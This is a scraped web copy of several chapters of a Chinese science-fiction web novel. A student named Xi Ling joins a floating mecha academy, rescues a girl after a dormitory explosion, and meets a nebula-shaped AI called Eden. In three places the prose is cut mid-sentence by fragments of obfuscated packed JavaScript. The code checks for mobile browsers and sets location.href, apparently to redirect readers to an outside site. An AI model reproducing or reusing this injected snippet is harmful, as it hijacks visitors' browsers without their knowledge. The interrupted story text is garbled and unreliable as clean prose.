数十座大大小小的岛屿悬浮在空中,倒三角形的底座上覆盖着一层闪烁着银光的金属网络。它们错落有致地分布,按照某种特殊的阵型缓缓移动,有的可以窥见全貌,有的大半部分隐匿在云层中。 宛如天城,宛如神都。 “维尔莱德分为天空校区和地面校区,一般来说,技术和理论类专业在地面或地底,而需要驾驶机甲的专业都在天上。”新生登记处的工作人员都是来挣学分的学长。 面对新生海量的问题时,学长们从始至终都极有耐心。 一个新生举起录取通知书好奇地问:“学长,为什么这上面没有写我的专业呢?我明明选过专业的。” 郗灵拿出入学通知书——她的那份也没有写专业。 一开始,郗灵以为自己是特殊引进的,所以没有写明专业,但其他新生也有这个情况,那么肯定还有别的原因。 学长果然给出了解答:“你知道维尔莱德的淘汰率有多高吗?” 新生愣了一下,下意识答道:“军校的数据不对外公开,但是我看过大佬的推测,说去年的淘汰率高达47%……” “这47%的被淘汰者中,有一半是在开学第一个月被淘汰的。”学长说。 听到这句话,新生们脸色齐齐一白。 郗灵抬头望向浮空群岛,突然意识到一个问题。 她没有发现任何通往浮空岛的道路或交通工具,那些群岛仿佛与大地断绝了联系,唯有巨大的影子投落在地面上。 除非插上翅膀,否则,只有飞鸟能登上这座空中军校。 等等……翅膀? 郗灵下意识摸上腰间的机甲钮。 下一秒,仿佛为了印证她的猜想,远处突然传来巨大的轰鸣声。 那轰鸣声极具冲击力,带着低沉的震颤从地面传来。微弱的气流带动细石滚动,让新生们像一群年轻的海鸥般警惕地竖起翎毛——他们敏锐地嗅到了风暴的气息,却不知风暴何时降临。 但风暴很快就到来了。 随着时间一分一秒流逝,低沉的轰鸣声变得雄浑而密集。当地表震感突破某个阈值时,仿佛无数根绷紧的钢弦被同时拨动,洪亮的基音里顿时翻涌出无数高频的颤音。有什么东西正在朝这里飞速接近,越来越近,越来越近—— 它们来了! 郗灵仰起脑袋,她的腰间,龙姬正在疯狂晃动。 映入郗灵眼帘的,是十几台以梯队队形向上攀升的机甲! 它们背部的钢铁六翼大大张开,尾部推进器喷吐出长而明亮的尾焰。尖锐的破空声中,那些向上高飞的机甲宛如一群泛着机械冷光的飞鸟。天空和大地本无羁绊,它们却成为了连接二者的桥梁。 尾焰和白烟呈雾凇状四散,燃料和推进剂的余烬洒落地面,仿佛焰色的雨丝。 “如你所见,这是学校留给你们的第一道难题。”破空声和轰鸣声渐渐退去,学长微笑地看着新生们若有所思的脸。 学长友善地提醒:“新生开学的第一个月,我们称作‘首飞月’——在首飞月里,你们会接受严格的训练,一个月后,你们将驾驶机甲飞上浮空岛。” 龙姬摇晃得更厉害了。 郗灵摁住亢奋的龙姬,一个新生哑着嗓子提问:“那……如果首飞失败了呢?” “如果首飞失败,你们可以留在地面校区,选择技术或理论型专业。”一道爽利的女声回答了新生的问题,“以后你们可以成为技术兵,或者报考军队文职。” 登记处的学长们纷纷起身:“副会长!” 郗灵盯着副会长。 副会长高挑而轻盈,一双大而明亮的眼睛微笑着看向郗灵。郗灵意识到,这位副会长很早就发现自己了。当她穿过一众新生走到郗灵跟前时,仿佛一只洁白的鸥鸟驻足在洒满阳光的窗台上。 “你好。”副会长伸出手,“我叫欧白白,叫我学姐就可以了。” 郗灵看着欧白白的手,礼貌地回握:“学姐,我叫郗灵。” “我知道你的名字,从会长口中。”欧白白口中的会长指的是“莱茵”。 和莱茵那种充满各种前提、铺垫和预设的谈话方式不同,这位副会长的作风直白得近乎泼辣,“我对你很感兴趣,我喜欢你。” 郗灵一愣。 “我没有权限查看你的档案,今年的新生一共有2077个,但你是唯一的例外。”欧白白自然地牵起郗灵的手,又用眼神示意登记处的学长继续工作,“我问过会长,他表示无可奉告,但他对我说,如果我真的很好奇,可以亲自过来看看你。” 欧白白比郗灵高出一个头,几乎和萧寒剑或者黎缨一样高。当高挑的欧白白牵着郗灵离开时,仿佛海鸥用遛猫绳顺走了一只小猫。 无数道目光落在郗灵身上,她尝试挣脱,却没敢用力:“学姐?” “你喜欢天空吗?”欧白白问。 郗灵懵了一下,答道:“喜欢。” “那太好了,”欧白白说,“我们一起飞吧!” 郗灵被欧白白带到一处飞行跳台,返校的学长们正在检查自己的机甲钮,有几人已经释放了机甲。十几米高的人型机甲安静地站在跳台边缘,胸腔处的驾驶舱敞开着,露出复杂的内部操作台。 “副会长!”学长们向欧白白打招呼。 “记得帮我保密,我要带一个新生妹子飞一圈。”欧白白竖起食指抵在唇上,扫视一圈后,又俏皮地看着郗灵,“我的机甲叫‘飞鸟’,型号比较老,所以自带一个副驾驶位。开学后我就要给它换新装甲了,所以你是它的最后一位乘客。” 欧白白摘下腰间的机甲钮,与此同时,郗灵听到一声无奈的叹息。 “……唉,老大又开始撩妹了。”飞鸟说。 机甲是活的。 第一次听到龙姬发出声音时,郗灵以为只是幻觉,但会说话的机甲不止龙姬一台,黎缨的灰色机甲和欧白白的“飞鸟”显然也是如此。 郗灵扫视四周,发现其他人都听不到“飞鸟”的声音。 这个世界充满了谜团,而她自己……似乎也是谜团的一部分。 思索间,欧白白已经召唤出机甲,利落地钻进了驾驶舱。郗灵仰头盯着机甲“飞鸟”那灰白渐变的涂装,一只手轻轻地搭上它冰冷的脚背。 龙姬立马发出高分贝尖叫:“不!!!” 郗灵捂耳蹲地——龙姬的尖叫几乎震碎了她的耳膜! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181224|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >欧白白看到郗灵的异样,从驾驶舱中担忧地探出脑袋:“你怎么了?” 龙姬疯狂摇晃。 郗灵用力按住醋意大发的龙姬,汗流浃背地对欧白白解释:“我……可能有点晕车。” 欧白白:“?” 飞鸟:“……” 龙姬:“嘻嘻。” 郗灵不可能放弃龙姬,只能瞎编一个理由。欧白白盯着郗灵的脸,忽而露出一个弧度极小的微笑。 她没有继续追问,“啪”地一声关上了驾驶舱门。 郗灵紧张地盯着机甲“飞鸟”胸甲上反射的机械光华,却见后者缓缓蹲下身,向站在地面的郗灵伸来一只宽大的铁手。 铁手手掌朝上,宛如升降平台。 欧白白略带失真的声音从机甲“飞鸟”的传音器中响起:“上来吧,郗灵!” 龙姬停止晃动,它对此可以接受。 郗灵看了看龙姬,又看了看飞鸟,发出一声轻快而短促的笑,手脚伶俐地坐上了飞鸟的手掌。 另一只巨大的铁掌轻柔地虚拢在郗灵上方,将里面的乘客保护得严严实实。下一秒,机甲“飞鸟”的推进器嗡鸣启动,在从下方弥漫上来的苍白尾气中,郗灵听到了另一种细小而清晰的声音。 咚咚! 咚咚! 咚咚! 那是“飞鸟”的心跳声。 燃烧剂产生的尾气在这片空间弥漫开来。 欧白白没有骗她,“飞鸟”的拘束装甲确实十分老旧,但就是这样一台老旧的机甲,竟然以一种不可思议的轻盈姿态腾空而起——地心引力对它仿佛全然失效,它真的如自己的名字一般,像一只飞鸟般轻盈升空,从大地跃入了天空。 “飞鸟”翱翔在高天之上。 升空后,“飞鸟”放慢了速度。郗灵安坐在机甲巨大的铁掌托举的空间里,当虚拢在她上方的铁掌缓缓打开时,拂来的微风温柔地抚摸着她的面颊。 郗灵入迷地望着身下的浮空群岛,说:“我们飞得比军校还高了。” “会长说,他认可你,你会是他的对手。”欧白白接话道,“他连凯撒都不放在眼里,却把你称作‘对手’,所以我感到惊奇。” “我不理解。”郗灵说。 莱茵性格的矛盾性在郗灵面前暴露无遗。 尽管只有两面之缘,但郗灵能感觉到,莱茵在被一只无形的大手塑造成旁人期许的模样。但他并非一团任人揉捏的泥胚,相反,他浑身长满了尖刺——这些尖刺从未消失,当他刻意收起尖刺时,尖刺便尽数刺向了自己。 “你怎么评价会长?”欧白白问。 “他很扎手。”郗灵答。 欧白白爆发出一阵清脆的笑:“你真有趣!” “飞鸟”翱翔两圈后稳稳落地,欧白白却意犹未尽,一路和郗灵有说有笑,把她送到了宿舍楼外。 欧白白抬起手腕,点亮光脑屏幕:“加个好友?” 郗灵点头应下,抬起腕部那只由黎缨赠送的光脑——她还没完全摸透里面的功能,指尖生疏地在屏幕上划动,试图找到添加好友的入口。 就在这时,一声震耳欲聋的爆炸猛地炸开! 郗灵抬头望去,赫然看见宿舍楼五楼,浓烈的硝烟和冲天的火光呈散射状爆开。一个娇小的身影裹挟在烟流和飞射的碎片中,被巨大的冲击力震出楼外,正朝着地面坠落而去! 15. 银白瘢痕 欧白白还没反应过来,郗灵已经如同离弦的箭般冲了出去。 她一瞬不瞬地盯着空中坠落的黑影,神态沉凝专注如狩猎飞鸟的猎豹。极快的时间内,她以不可思议的速度飞奔至降落点,而后张开双臂,险之又险地接住了坠楼的少女。 一切发生在电光火石之间。 爆炸的余像还未从人们的视网膜上褪去,倘若郗灵反应再慢半分,地面上或许就要多出一具血肉模糊的尸身。 郗灵的心脏在胸腔里狂跳。 她并非冲动行事。在黑船逼仄冰冷的夹层里,在矿星漆黑幽长的矿井中,她早已摸清自己体质的上限——旁人若去接住高空坠落之人,恐怕要付出断骨碎筋的代价,而她的极限,不过是双臂骨折罢了。 用双臂骨折换来一条人命,这样的事根本无需权衡,因此郗灵毫不犹豫地动了。 欧白白在郗灵接住坠楼少女的一瞬间反应了过来,她闭上因为震惊而张开的嘴巴,紧皱着眉头快步赶到郗灵身边。 郗灵忍着骨折的剧痛,颤巍巍地深吸一口气,低头看向怀中的少女。 这无疑是一场大爆炸,虽然爆炸波已经消失,但零星的砖块和贴片仍在细雨般落下。 郗灵尽可能将少女护在自己怀中,但少女是离爆炸中心最近的受害者,她裸露的皮肤上满是深浅不一的擦伤与灼伤,而她本人已经陷入深度昏迷。 人群发出惊呼和尖叫,欧白白一嗓子让那些人闭嘴,又颤抖着声音询问郗灵的情况。 “你没事吧?”欧白白已经镇静下来,但她看着郗灵和少女的惨状,眼眶一下子就红了,“她……没事吧?” 郗灵早已习惯了伤痛。 她在欧白白紧张的注视下,伸出两根手指测量少女的颈部脉搏。 “叫医生来。”感受着指下的跳动,郗灵抬起沉静的眼睛,“我觉得……她可能需要进医疗舱。” 欧白白紧急调度了学校的医疗队,又一脸严肃地拨打了数个电话。 这场大爆炸彻底超出了所有人的认知! 在军校里!在维尔莱德军校里!在维尔莱德军校的宿舍楼里!竟然发生了危及学生性命的大爆炸,还险些葬送一条鲜活的生命! 郗灵耳边满是七嘴八舌的问候,她简单回应几句,又小心地把少女往怀里拢了拢,生怕对方受伤的皮肤触到地面,造成二次伤害。 但郗灵突然愣住了。 她盯着少女脖颈侧面的银白瘢痕——那瘢痕泛着机械质感的冷光,质地坚硬如软骨,从少女微微敞开的高衣领下露出,一直往下方蔓延。 她见过这样的瘢痕! 那是无机士兵侵蚀有机生命的征兆之一:机械组织会在人体上不断增生,直至将血肉彻底吞噬。 母星上,她的族人因此殒命;第七军团的飞船上,墨菲也曾遭此厄难。 郗灵怔怔地盯着那块银白瘢痕,所有杂乱的思绪在一瞬间凝固成“机械帝皇”四个字。 她深吸一口气,不动声色地扯了扯少女的衣领,让那银白瘢痕重新掩在衣领下。 校卫队与医疗队协同赶到。 一番忙乱后,坠楼的少女如郗灵所料躺进了医疗舱。而郗灵虽然双臂骨折,却还没到重伤的地步。 她的双臂打着石膏,以一种僵硬的姿态垂在大腿两侧。 她站在医疗舱旁,安静地端详着舱中的少女。 淡琥珀色的溶液衬得舱中少女的脸色苍白如玻璃,少女肺中置换出的空气化作溶液表面漂浮的气泡,还有一些细碎的气泡包裹着她的睫毛,随着呼吸微微颤动。 郗灵沉默如一尊石像。 墨菲说得没错,战争摧毁了所有人。 当她以为登上黑船就能逃离战争时,她却被卖去了矿星;当她以为被救上母舰就能摆脱战争时,那位罪恶滔天的机械帝皇又借用墨菲博士的躯体,向她投来了近乎挑衅的问候。 而如今…… 明明战争已经结束,那银白的瘢痕却再次刺痛了她的神经。她从没想过,即使已经身在中央星,她竟还会再次揭开灵魂里的旧伤疤。 一阵轻盈的脚步声从身后传来,如蹑足的鸥鸟掠过水面,郗灵转过身,见欧白白悄无声息地走到了身边。 “你还好吗?”欧白白轻声问。 郗灵点头:“我很好。” “……这次爆炸的原因已经查清了,一台清洁型机甲将这女孩识别为敌人,启动了自爆程序——虽然所有机甲都被主脑远程监控,可‘消灭无机士兵’是写在底层代码里的指令,连主脑也无法阻拦。”欧白白解释道。 郗灵盯着舱中沉睡的少女:“她是人类。” 她的感觉不会出错。 在母星上,她曾亲手葬送了数千个族人的性命,族人的亲眷们对她痛哭流涕地哀嚎,并用“刽子手”和“魔鬼”唾骂她。 但她的判断永远都是对的,机械增生的面积和人性残存的比例无关,有的人即使身上只有指甲盖那么大的机械银瘢,却也已经是一个完全的铁人。 “我没说她不是人类,学妹。”欧白白短促地笑了一下。 但她看着郗灵沉凝的脸,意识到这不是适合说笑的场合,因此默默地压下了翘起的唇角:“她的情况非常特殊,如果按神秘值来排名,今年的2077个新生中,你是第一名,她就是第二名。” 郗灵看着舱盖窗口下少女苍白的小脸:“为什么?” “你得先答应为我保密。”欧白白先抛出一个条件,“我其实根本没有权限查看新生的档案,我是偷偷黑进去的。” 郗灵死鱼眼:“……” 为什么职务里带个“副”字的人,好像都懂点儿黑客技术呢? 欧白白看向医疗舱:“郗灵,她的档案被人为修改过。” 郗灵的表情一下子严肃起来。 档案记录着一个人的生平,郗灵的档案成为绝密,本质上是因为“胚胎”项目关系着联邦的未来,因此不容泄露。 而这位少女的档案被修改……某种程度上,这意味着那些被修改的内容不可以存在。 欧白白再次压低声音,医疗舱运作的“嗡嗡”声将她的声音完全掩盖,只有近在咫尺的郗灵可以听见。 “能让智库抹去记录的大事件,在我的认知里只有那一件。”欧白白的声音越压越低,嘴唇轻轻凑到郗灵耳边,“主脑负责监控所有机甲,但它原本是联邦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181225|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政府的行政辅助型AI,却在三年前突然被‘伊甸’接手了大部分工作——换句话说,它在三年前下岗了。” 郗灵竖耳倾听欧白白的话,将一个疑问不动声色地按回心底。 ——主脑是什么东西? “伊甸上岗后,主脑的存在感顿时弱了下去。但在那之后很长一段时间里,陆续有人在星网上发布帖子和视频,可他们想要曝光的事情很快就被压了下去,连一点水花也没有激起。”欧白白低声说,“这些人无一例外都患上了同一种病症,且异口同声地宣称,这病症和主脑有关。” 病症…… 郗灵的视线下意识扫过少女衣领下的脖颈。 欧白白目不转睛地看着郗灵的侧脸:“那种病症叫‘机化症’。” 郗灵呼吸一顿。 “机化症,原本只有战场上的军人才会罹患——那是无机士兵体内的活性机械微粒入侵人体引发的病变。”欧白白轻声道,“但那些曝光病症的人,IP地址无一例外都在中央星,他们连战场都没上过,怎么可能得上机化症?” 郗灵听着欧白白的话陷入了沉思。 她没有注意到,欧白白盯着她的眼神里,藏着一丝审视、一丝兴奋,还有一丝无可言说的窃喜。 联邦太大了,大到足以吞噬所有不够“正确”的声音。 每个公民都不可避免地生活在主脑精心打造的“茧房”里,可总有那么一小群人能时刻保持清醒,试图啃噬“茧房”的边界,偷渡到外面的世界去。 欧白白喜欢郗灵,非常喜欢。 这不是谎话,因为一个档案被隐藏的人本身就意味着神秘,而这份神秘……约等于茧房之外的未知世界。 那是天外的世界,而郗灵……如同天外来客。 莱茵会长已经吃过一次败仗了,这个神秘的天外少女不喜欢中央星人的含蓄和委婉,那么,她在郗灵面前就应该成为一个直白坦率的人。 欧白白的视线从郗灵的侧脸上移开,转而看向医疗舱中的少女。 后者不知何时已经苏醒,在淡琥珀色的人造羊水中安静地睁着蓝眼睛,衣服在水中微微漂动,露出细白脖颈上冷色的机械瘢痕。 那么你呢?欧白白安静地想。你的身上……又有多少可以发掘的秘密呢? 欧白白以附耳密语的姿势,将郗灵虚虚地拥在怀里。 郗灵终于结束了思考,她轻轻推了推欧白白,对方便自然地松开了她,像松开一块攥得太久就会融化的松脂。 郗灵很关注舱内少女的情况,她在回神的第一秒发现了少女的苏醒。 “太好了,她醒了!”郗灵道。 欧白白按下按钮,紧闭的舱盖在泄压声中缓缓开启。 重伤的少女已然痊愈,她从淡琥珀色的人造羊水中坐起身,那些溶液短时间内无法快速挥发,她的头发因此有些湿漉漉的,仿佛一只蓝眼睛的海妖从琥珀色的海洋中探出身子来。 少女盯着郗灵:“你救了我,谢谢你。” 郗灵僵硬地摆摆手,她的两臂都打着石膏,无法流畅地做出动作:“不用谢,应该的。你叫什么名字?” “雪理,我叫雪理。”少女答。 16. 急救 开学第一晚,失去宿舍的新生们住进了胶囊舱。 新生们消息灵通,早已打听到了爆炸的缘由。但身为受害者的雪理,明明入学前通过了体检,机械瘢痕最终也被证实不具活性,却还是被机甲判定成了敌人。 这难免让人心生恐慌。 但年轻人的好处就是倒头就睡。 当夜晚降临,他们怀着恐惧的余韵,以及对明天即将开启的训练生活的向往与紧张,渐渐进入了梦乡。 空荡荡的操场被睡眠胶囊填满,一粒粒胶囊舱随着舱内学生的呼吸,有节奏地闪烁着微光。 郗灵在胶囊里辗转难眠。 忽然,她所在的舱盖被轻轻掀开,一道纤细的影子像黑夜的幽灵般钻了进来。 幽灵睁着一双蓝眼睛:“我可以和你一起睡吗?” 幽灵是雪理,颈部的机械瘢痕在黑夜里泛着银白光泽。 郗灵被这突如其来的请求怔住,一时间陷入了沉默。 在她沉默的这段时间里,雪理既没有离开,也没有继续提出请求,只是安静地蜷缩在胶囊舱的角落里,像一只无家可归的小兽。 郗灵叹了口气,把被子分了一半给她:“睡吧。” 雪理的机化症与主脑有关,虽然她没有经历战争的残酷,可病症终究是病症,她承受的痛苦,丝毫不亚于那些上过战场的人。 雪理沉沉睡去。 郗灵盯着胶囊顶盖,一夜无眠。 第二天,为期一个月的军训正式拉开序幕。 睡在胶囊里的新生原本以为,自己离训练场更近,能比宿舍里的人晚起几分钟。 不料教官们毫不留情,直接掀翻了胶囊。 一个个新生像刚破壳的鸡崽,披头散发地滚出来,坐在地上与黑着脸的教官面面相觑。 “给你们十分钟洗漱!”军校教官怒吼道,“十分钟后,谁没回到这里,每人罚做二十个俯卧撑!” 新生们连滚带爬地冲出去洗漱。 郗灵站在原地,两条打着石膏的手臂垂落在身体两侧,和黑脸的教官们大眼瞪小眼。 教官一愣:“怎么还有伤员?” 郗灵不觉得手臂受伤就可以逃脱训练,以前更重的伤也不是没有受过。战场瞬息万变,只要想从铁人的炮口下活命,就算断手断脚,也要用牙齿挣扎着战斗。 她对教官们礼貌地问好,拖着打满石膏的手臂就要跑去洗漱。 一个教官立刻摁住她,力道又轻又紧张,像用指尖拈住小猫的后颈皮。 “你等一下!”教官掏出对讲机向上峰询问。 另一个教官从腰间摘下光脑,对准郗灵的脸扫描了一下。 而后,这位教官愣住了。 “……没有权限查看此人的档案?”他喃喃道。 郗灵被教官摁着肩膀也没有挣扎,安静地站在原地,等待两位教官的指令。 用对讲机询问的教官结束了和上峰的对话,与另一位教官耳语几句后,对郗灵说:“手臂恢复之前,你不用参加体能训练。” 郗灵头顶弹出一个问号:“那我可以做什么?” “你去休息区待着。”教官推了推郗灵的后背。 服从是军人的天性,郗灵没有继续争辩,乖乖跑去了休息区。 临时医疗点也在这里,现在天气正热,几个校医用登记簿朝满是汗水的脸上扇风,见郗灵过来了,立马结束摸鱼进入工作模式。 郗灵分到了一个小板凳和一管补充体力的药剂。她坐在小板凳上,用不太灵活的双手艰难地吸食那管药剂,发现甜丝丝的,还挺好喝。 “你就是那个接住坠楼新生的猛人?”一个校医问。 那天坠楼的新生只有雪理一个,郗灵觉得校医指的不会是别人,于是点了点头。 校医也掏出一个光脑,对准郗灵的脸扫了一下。 郗灵的心情已经由疑惑变得平静,她觉得,逢人扫脸可能是维尔莱德军校的见面礼仪。 光脑滴滴出声,校医看向郗灵的眼神变得惊疑。 洗漱的新生们在十分钟内陆陆续续飞奔回来,可还是有几个倒霉蛋迟到了,于是他们所在的班级被连坐,几十号人顶着苦瓜脸开始做俯卧撑。 校医窸窸窣窣地整理着身边的医疗箱:“我估计今天至少要晕十个。” 郗灵已经喝完了那管药剂,听到这话疑惑地问:“第一天的训练强度就这么大吗?” “倒也不是,只是大部分新生都身娇体弱。”校医又递给郗灵一管药剂,这东西明显就是喝着玩的,“我当年读高中的时候,别说上体育课了,连上厕所都得掐秒表,节约出来的时间全拿来做卷子——毕竟提高一分就等于领先三千人。” 郗灵不理解,但大为震撼。 军训的第一步是严明军纪,新生们要站一个上午的军姿。 中央星所在的星域只有一颗恒星,而军训期间,校区不会开启天气调控功能。明晃晃的太阳高悬在众人头顶,豆大的汗珠从新生们通红的脸颊上滚落,沿着鬓角打湿了衣领和后背。 扑通! 第一个新生晕倒了。 校医用担架把昏倒的新生抬过来,正要用医疗仪器扫描他的身体,郗灵却已经从医疗箱里找出对应的药剂,递到了校医手中。 校医下意识接过,皱眉道:“你干什么?” “他的身体没问题,只是劳累过度晕倒了。”郗灵松开搭在新生腕上的手,目光落在后者微微干裂的嘴唇上,“给他补水补糖,躺二十分钟就能醒。” 郗灵话音刚落,医疗仪器便给出了同样的结论。 校医诧异地看了郗灵一眼,将药剂喂进了昏迷新生的嘴里。 接下来的时间里,校医们莫名燃起了斗志,每当有新生被送到医疗点,他们都争相抢在医疗仪器出结果前给出判断。 郗灵默默地翻找医疗箱,将药剂一一送到新生手中。 她的医疗知识储备虽然比不上学院出身的校医,但她在母星、黑船和矿星上见证了太多人的死亡。 很多时候,死亡并非一瞬间的事,甚至算得上一种解脱——那些人更多是被绵长的病痛一点点折磨至死的。 又一个昏迷的新生被抬进医疗点。 校医拿着便携检测仪贴上新生脖子,报出数据:“心率110,血压90/60,血糖3.8——体能透支加脱水,给他补点葡萄糖盐水?” 郗灵盯着新生无意识蜷曲的右手食指——这绝不是劳累昏迷的样子。 校医们正忙着拆补液管,郗灵已经蹲下身,耳朵凑近对方胸口,同时轻轻捏住那只手。 三秒后,她猛地抬头:“不是脱水,是心脏有问题!快抢救!” 新生喉咙里发出细微的“咕噜”声,她捏着新生那只蜷曲的手,能感觉到对方的指尖正在一点点变凉。 “不可能!”旁边的校医皱眉,“军校体检很严,心脏有重病根本漏不了!” 话还没说完,郗灵已经捏住新生的下巴轻轻抬起,把他的头偏向一侧,又将手掌平贴在新生左胸,开始有规律地轻轻按压,力度刚好能让胸口微微起伏。 之前给郗灵投喂过药剂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181226|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的校医突然发现,新生的嘴唇正迅速发紫,他赶紧抓起设备,屏幕上立刻跳出红色警报。 “是室速!”他大喊一声,转身就往救护车跑。 郗灵的两臂打着石膏,但她按压心口的动作又快又稳。 其他校医接替了郗灵的工作,郗灵顺从地退下,又脱下训练外套,把新生的脖子细心地围了起来。 医疗站的人带着除颤仪跑了过来。 “还给你,我们这儿有恒温毯。”领头的医护人员把外套还给她,眼神有点惊讶,“你怎么知道要给病人保温?” 她完全不像只学过理论的人,分明是个老手。 郗灵沉默。 她看着昏迷的新生,脑中闪过许多张鲜活的脸庞。 为了躲避检查,联邦商人会把奴隶们关在黑船的底板夹层里。 那根本不是人能待的地方,狭窄的空间里布满运输能源的管道,时而烫得灼人,时而冷得刺骨。许多人死于高温,许多人死于极寒。负责清点的商人每五天来一次,补充新的奴隶,再把死去的扔进外太空。 郗灵和他们相处的时间大多不超过五天,如同一个绝望的轮回。 那些来自不同星球的奴隶说着各自的母语,她还没来得及完全听懂,他们就成了没有呼吸的尸体。 郗灵没有接受过系统的医疗教育,但她的经历就是一本厚厚的教科书。 校医们好奇地看着郗灵。 郗灵把外套重新套在身上,露出一个笑容:“因为我聪明呗!” 校医:“……” 经此一役,郗灵俨然成了医疗点的临时编外人员。每个来治疗的新生都要找她看一眼,她也毫不客气,掐着恢复体能的时间点,把躺在树荫下的病患挨个踢起来。 “同学,你醒啦?”郗灵的微笑如同魔鬼,“快去训练吧,教官们正等着呢!” 雪理也来了一趟,脸庞晒得通红,和医疗舱里玻璃般苍白的脸色截然不同。郗灵捏住她的手腕测了测心跳,又弯腰拿出一管药剂。 那是校医一开始递给她的同款药剂,甜丝丝的,能当饮料喝。 雪理表面看着快要昏厥,实则身体好得很。 “去树荫下躺着吧。”郗灵没戳破,“十分钟后再去训练。” 雪理攥着药剂轻轻点头,却没去树荫下,而是在她身边安静地坐下。 校医招呼郗灵帮忙找药剂,她刚要弯腰,一只冰冷的铁手突然搭上她的肩膀。 这一下来得猝不及防,郗灵下意识想过肩摔,可她的手臂打着石膏,只能僵硬地扭过身,和铁手的主人对上了目光。 墨菲笑眯眯道:“好久不见,亲爱的小怪物。” 郗灵眼睛一亮:“副院长?” 回到中央星后,墨菲终于换上了合适的机械身体。可听到“副院长”三个字,他那属于人类的嘴唇几不可察地抽了一下。 一个机械女声“咯咯”笑起来:“你好像很沮丧呢,墨菲。” 研究员妹子李安娜也来了,她站在墨菲身后,身子因此被遮挡了大半,但那道机械女声明显不属于李安娜。 郗灵探出头往墨菲身后看。 “嗨,你好呀!”李安娜手里拎着个玻璃罐,里面不再是墨菲的头颅,而是一团闪着电流的星云状物质。 那道机械女声,正是玻璃罐里的“星云”发出的。 郗灵盯着玻璃罐:“你是谁?” “我是‘联邦生物工程研究中心’的院长。”那团迷你星云的自我介绍和墨菲很像,只是没带“副”字,“你可以叫我:伊甸。” 17. 三通电话 墨菲对副院长一事耿耿于怀,并在第七军团母舰上几度要求研究员们叫他“院长”,因此,即使郗灵的通用语烂穿地心,她也牢牢地记住了一件事—— 墨菲是个副的,他的头上还有一位院长。 郗灵对这位神秘的院长多有猜测。 能把墨菲这位曾经说出“他们只是一群人均四个博士学位的蠢材”的清高学者镇住的存在,到底是个怎样的天才或者……怪物? 但就在今天,这个谜底向郗灵揭开了。 伊甸院长无法用天才或者怪物定义,或者说二者皆是——因为对方甚至不是人类,而是一团星云形态的意识! 李安娜胸口的大洞已经修复好了,这足以证明,那个有着冗长名字的研究院走在了生命科学领域的最前沿。 李安娜别着七八个时髦的红发卡,神色却不似和墨菲相处那般轻松俏皮,相反,她带着堪称肃穆的神色提着装有伊甸院长的玻璃罐,如同一位帝国时代的提灯侍女。 伊甸的玻璃罐比墨菲的更加高级,伊甸也是通过罐外的发声装置说话的。 “郗灵同学,”伊甸毫不客气地说,“墨菲自从回到研究院后,就一直念叨着你的名字,但你似乎并不像他说得那么……迷人,相反,你还有点笨笨的。” 这话直白而充满批判,医疗点的校医们“腾”地一下全站起来了。 研究院和军部本就势同水火,即使郗灵是个笨孩子,护犊子的军人也会火冒三丈。 更何况郗灵并不像伊甸说的那样蠢笨,她在一分钟前才拯救了一条突发心脏疾病的生命! 雪理抱住最近一名军医的大腿,把手里没拆封的甜味药剂高高举给军医,试图熄灭军医的怒火。 郗灵却一点也没生气。 她知道研究院的科学家们都算得上是好人。 母舰的逃生通道里,那群人均拥有四个博士学位的精英们,在执行指令时一丝不苟,却会因为墨菲一句真情流露的软话哭成泪人。 正如郗灵因为萧寒剑是个好人,从而对第七军团做出了正面的评价,墨菲和他的团队在郗灵的印象里不算太坏,因此,郗灵愿意相信伊甸对她没有多少恶意。 李安娜是三名科研者里情感最细腻的,她盯着暴怒的校医,露出了“院长又在拉仇恨了”的无奈表情。 郗灵盯着玻璃罐里的伊甸,发出一声轻笑。 她说:“你说得没错,伊甸院长。我是小星球出身的人,连通用语都说不利索,和人均拥有四个博士学位的研究员们相比,我当然不算聪明。” 雪理再次加大抱紧军医大腿的力道。 伊甸体内的“电流”快速闪动了一下。 “……你很聪明,我收回之前的评价,郗灵同学。”伊甸道,“以及,你挽回了墨菲在我这里跌落谷底的评分。当他提起你时,他在我面前毫无理智,像个狂热的私生粉——我甚至以为他爱上你了。” 郗灵哽了一下:“……” 她必须承认,伊甸的人身攻击对她毫无威力,但墨菲的魔法攻击可谓效果拔群! 墨菲掺杂着机械和人皮的脸庞微不可察地抽搐了一下,他显然也被伊甸院长的形容恶心到了。 但他没有反驳伊甸,非人的义眼沉静地看着郗灵。 他道:“院长,你不是人类,无法理解凡人对真理的渴慕——郗灵是进入真理殿堂的钥匙,好比灵感枯竭的艺术家对缪斯顶礼膜拜,我见到郗灵,如同觐见真理的女神。” 郗灵冒起一身鸡皮疙瘩。 她受不了一个“铁人”对她“含情脉脉”地告白! 